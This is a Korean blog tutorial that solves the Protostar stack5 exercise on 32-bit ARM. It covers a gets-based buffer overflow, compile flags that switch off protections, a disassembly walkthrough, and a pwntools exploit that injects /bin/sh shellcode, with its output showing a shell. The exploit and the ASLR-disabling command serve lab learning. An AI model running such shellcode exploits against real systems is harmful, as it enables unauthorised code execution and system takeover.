ARM Exploitation

ARM32 Exploit Exercies - Protostar_stack5

지난번 글에 이어 이번에는 stack5이다.


1. 소스코드

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

stack5는 사실상 stack4과 거의 유사하다.  gets 함수를 호출을 통해 buffer를 입력받는다.  하지만 이 함수는 취약한 함수로, C11표준에서 삭제되었다. 때문에 현재는 실무에서 사용하지 않아야 할 함수다.


2. Compile(Raspberry pi / arm)

$ gcc -o stack5 -fno-stack-protector -z execstack -z norelro -no-pie stack5.c -Wno-implicit-function-declaration

raspberry pi 3에서 32 bit linux os 가 설치된 환경을 기준으로 위와 같이 컴파일한다. 이때 사용된 옵션을 간략히 설명하면 아래와 같다.

  • -fno-stack-protector : 스택이 넘치는 것을 방지하기 위한 보안 메커니즘. 설정을 해제한다.
  • -z execstack : 스택의 내용을 실행할 수 없도록 한 일명 nx. 설정을 해제한다.
  • -z norelro : relro 설정을 해제한다.
  • -no-pie : pie 설정을 해제한다.
  • -Wno-implicit-function-declaration : gets 등 deprecated 된 함수에 대한 경고를 무시한다.

현대의 linux 환경은 그 자체로 진화를 거듭하며 일부 보안 메커니즘을 default 로 탑재하기 시작했다. 하지만 이 예제에서는 의도적으로 취약한 프로그램을 만들어야 실습을 할 수 있으므로 보안 메커니즘을 적용하지 않은 채로 컴파일하는 것이다.


3. 실행

$ ./stack5 
asdfbe

컴파일된 바이너리를 실행하면 사용자의 입력을 기다린다. 사용자가 입력한 결과가 프로그램의 의도에 부합하지 않으면 아무런 반응 없이 종료된다. 


4. 디스어셈블 분석

소스코드가 주어진 환경이므로 사실상 프로그램 구조는 다 파악이 가능한 상황이나, CTF나 Real-world Bug hunting 상황에서는 소스코드를 기대할 수 없으므로, 바이너리에서 디스어셈블하는 연습이 필요하다. 보통은 objdump를 사용하거나, gdb를 통해 disass 를 수행하면 된다.

여기에서는 radare2라는 도구를 통해 보다 개선된 방식으로 main 함수의 내용을 디스어셈블해보았다.

약간씩 나누어서 이해해보자. 


1) 함수 프롤로그

함수 프롤로그는 프로그램의 기존 상태를 저장하고, 함수 내에서 사용할 지역 변수들을 위한 공간을 스택에 마련하는 과정이다.

0x000103e4      00482de9       push {fp, lr}
0x000103e8      04b08de2       add fp, sp, 4
0x000103ec      48d04de2       sub sp, sp, 0x48

fp(Frame Pointer, R11 레지스터)  와 lr(Link Reginster, R14 레지스터) 를 스택에 저장한다. 그리고 스택 프레임의 바닥을 설정한다. 이후 sp를 조절하여 스택으로 사용할 공간을 확보한다. 


2) main 함수 body

이어지는 프로그램의 동작을 살펴보자. 대체적으로 단순한 구조를 이룬다.

0x000103f0      48000be5       str r0, [var_48h]           ; 0x48 ; 72 ; argc
0x000103f4      4c100be5       str r1, [var_4ch]           ; 0x4c ; 76 ; argv

위의 두 코드는 각각 r0과 r1에 argc 와 argv 를 설정한다. 실제 디버거를 통해 확인해보면 r0에는 1이 할당되고, r1에는 '/home/pi/arm_exploitation/stack/stack5/stack5' 이 할당되어 있다. 

0x000103f8      44304be2       sub r3, fp, 0x44
0x000103fc      0300a0e1       mov r0, r3
0x00010400      afffffeb       bl sym.imp.gets             ; char *gets(har *s)

이어서 r3 레지스터가 가리키는 위치에 대하여 gets 함수를 호출한다. 이 함수는 사용자로부터 문자열을 입력받는 함수이다. 이후 별다른 cmp 비교를 통한 분기문 없이 바로 프로그램의 종료를 위한 작업을 진행한다. 

0x00010404      0030a0e3       mov r3, 0
0x00010408      0300a0e1       mov r0, r3

사용했던 레지스터를 다시 초기화하는 것으로 큰 의미는 없다. 


3) 함수 에필로그

0x0001040c      04d04be2       sub sp, fp, 4
0x00010410      0088bde8       pop {fp, pc}

함수 에필로그는 프로그램의 상태를 해당 함수로 진입하기 이전으로 되돌려놓는 과정이다. 이때 스택 포인터 역시 원상 복구되어야 한다. stack pointer 를 조절할 때에는 frame pointer를 기준으로 add 또는 sub 등으로 맞출 수 있다. 이후 pop 명령을 통해 스택에 저장해두었던 값을 가져와서 해당 레지스터에 할당한다. 


그리고 stack5는 별다른 jump할 대상 함수가 없다. 이번 문제는 "/bin/sh"을 호출하여 시스템을 장악할 수 있는지 여부를 보는 것이다. 편의를 위해 대상 위치에 flag라는 디렉터리를 만들고 그 안에 테스트용 텍스트 파일을 넣어두었다.


5. 문제 풀이

이 문제의 경우 앞서 stack4 와 유사한 풀이이기 때문에 자세한 설명은 stack4 설명 글을 먼저 참고하기 바란다. 

스택에 저장된 saved frame pointer 와 saved return address 를 덮어써서 프로그램의 제어 흐름을 변경해야 한다는 것은 stack4와 동일하다. 다만, stack5 문제에서 달라진 점은 별도의 jump할 함수가 주어져 있지 않다는 것이다. 그냥 쉘 코드를 사용하여 시스템 내의 쉘을 획득하는 것을 목적으로 한다. 이를 그림으로 그려보면 아래와 같다.

앞서 stack4 에서 확인했듯이 길이 64 이상의 임의의 문자열을 buffer에 채워 넣으면 그 뒤에 있던 변수가 덮어써진다. 여기에는 별다른 변수가 없었으므로, 바로 saved frame pointer 와 saved link register 영역에 접근하게 된다. 이때 saved link register 부분에 쉘 코드의 주소를 덮어쓰면 된다. 쉘 코드를 어디에 두는지는 선택에 달려있다. 버퍼의 주소 위치를 쉽게 알 수 있는 경우 버퍼의 시작 지점으로 해도 좋다. 나는 여기에서 버퍼의 끝 위치에 쉘 코드를 넣기로 했다. 

쉘 코드를 만드는 방법에 대해서는 이전 글에서 사용한 것을 참고하자.

확인해보니 이 문제에 대해서는 shellcraft만으로도 해결이 쉽게 가능했다. pwntools 를 사용하여 아래와 같이 구현했다. 

# Tested on 64bit Ubuntu, macOS
# Target : 32bit ARM, Raspberry Pi, Raspbian OS
# Python 3.7.6
# pwntools 4.2.2

# import all modules/commands from pwn library
from pwn import *
import time

# disable ASLR
# echo 0 > /proc/sys/kernel/randomize_va_space

# set the context of the target platform
#  arch: arm (32bit)
#  os: linux
context.update(arch='arm', os='linux')

r = ssh(user="pi", host="host ip", port=22, password="password")
p = r.process("/home/pi/arm_exploitation/stack/stack5/stack5",
              cwd="/home/pi/arm_exploitation/stack/stack5/flag", env={})

payload = cyclic(cyclic_find(0x61616172))  # 68 = buffer(64) + saved_fp(4)
payload += p32(0xdeadbeef)  # return_addr : addr-to-local-stack ex)0x7efffd88
payload += asm(shellcraft.sh())  # shellcode to execute "/bin/dash"

print("payload len : {}".format(len(payload)))
print("paylaod     : {}".format(payload))

# Sending Payload
print("[+] Sending payload..")
p.sendline(payload)
sleep(1)

p.interactive()

참고로 쉘 코드가 놓일 위치는 처음엔 알 수 없으므로 0xdeadbeef로 코딩해두었다. gdb를 이용해서 쉘 코드가 어디에 위치하는지를 확인한 후 이를 알맞게 수정하기 바란다.

실행 결과는 아래와 같다.


$ python3 exploit.py
[+] Starting remote process '/home/pi/arm_exploitation/stack/stack5/stack5' : pid 31898
payload len : 160
paylaod     : b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa\x88\xfd\xff~hp\x00\xe3AqD\xe3\x04p-\xe5/\x7f\x02\xe3/sG\xe3\x04p-\xe5/r\x06\xe3i~F\xe3\x04p-\xe5\r\x00\xa0\xe1sx\x06\xe3\x04p-\xe5\x0c\xc0,\xe0\x04\xc0-\xe5\x04\x10\xa0\xe3\r\x10\x81\xe0\x01\xc0\xa0\xe1\x04\xc0-\xe5\r\x10\xa0\xe1\x02 "\xe0\x0bp\xa0\xe3\x00\x00\x00\xef'
[+] Sending payload..
[*] Switching to interactive mode

$ $ ls -l flag
-rw-r--r-- 1 pi pi 37 Nov  5 10:50 flag
$ $ cat flag
ARM Stack overflow tutorial - stack5
$ $ exit
[*] Got EOF while reading in interactive

6. 결론

우선 이번 stack5문제는 스택에 저장되어 있는 기존 FP 및 LR의 값을 변조하는 것을 통해 Program Counter 를 조작하여 Return Address 를 바꾸는 것을 실습했다. 특히 단순히 프로그램의 흐름을 다른 곳으로 돌리는 것뿐만 아니라, 보다 원활한 임의의 악성 행위를 수행하기 위해서 시스템을 완전히 장악하기 위해 쉘 코드를 통해 /bin/sh 를 호출하여 쉘을 획득하였다.

하지만 쉘 코드를 이용한 방법은 너무 예전 기법이어서, NX 라는 메모리 보호 기법이 적용된 경우 적용이 불가능하다. 하지만 또다시 NX를 우회하는 기법으로써 Code Reuse Attack이라는 것이 있다. 일반적으로 return to libc, rop 등이 대표적이며, 각 기법들은 인텔에서 시작되었지만 ARM 환경에서도 약간의 변경만 하면 적용 가능함이 확인되었다.

다음 몇 개의 포스트를 통해 각 기법을 설명할 것이다. 참고로 stack6은 ret2libc로, stack7은 rop로 풀이하기를 권장한다.

Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.